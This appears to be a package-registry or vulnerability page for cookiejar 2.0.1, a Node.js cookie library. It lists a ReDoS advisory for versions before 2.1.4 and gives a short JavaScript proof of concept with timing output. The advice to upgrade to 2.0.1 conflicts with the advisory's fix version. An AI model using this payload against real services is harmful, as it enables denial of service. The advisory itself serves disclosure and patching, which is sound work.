Cookiejar is a lightweight and persistent cookie management system for Node.js, ideal for developers building applications that require robust cookie handling. Version 2.0.1, released shortly after version 2.0.0, represents a subtle refinement of this useful library. While both versions share the same core functionality, MIT license, GitHub repository, and authorship, the key difference lies in the release date, with version 2.0.1 appearing approximately two weeks after 2.0.0. This suggests that version 2.0.1 likely includes bug fixes, minor performance improvements, or dependency updates that enhance the stability and reliability of the package.
Developers will find cookiejar particularly valuable for tasks such as managing user sessions, persisting user preferences, and interacting with APIs that rely on cookies for authentication and authorization. The simplicity of the API allows for seamless integration into existing projects, while the persistence feature ensures that cookies are stored and retrieved between sessions. The inclusion of a repository link gives developers easy access to source code documentation. Upgrading from 2.0.0 to 2.0.1 is recommended to leverage the latest enhancements and ensure optimal performance and stability in cookie management. Considering it was released nearly 10 years ago it might be a good idea to check the dependencies compatibilities since versions might be outdated in new projects.
All the vulnerabilities related to the version 2.0.1 of the package
cookiejar Regular Expression Denial of Service via Cookie.parse function
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
CookieJar.setCookie(): 2963.214399999939ms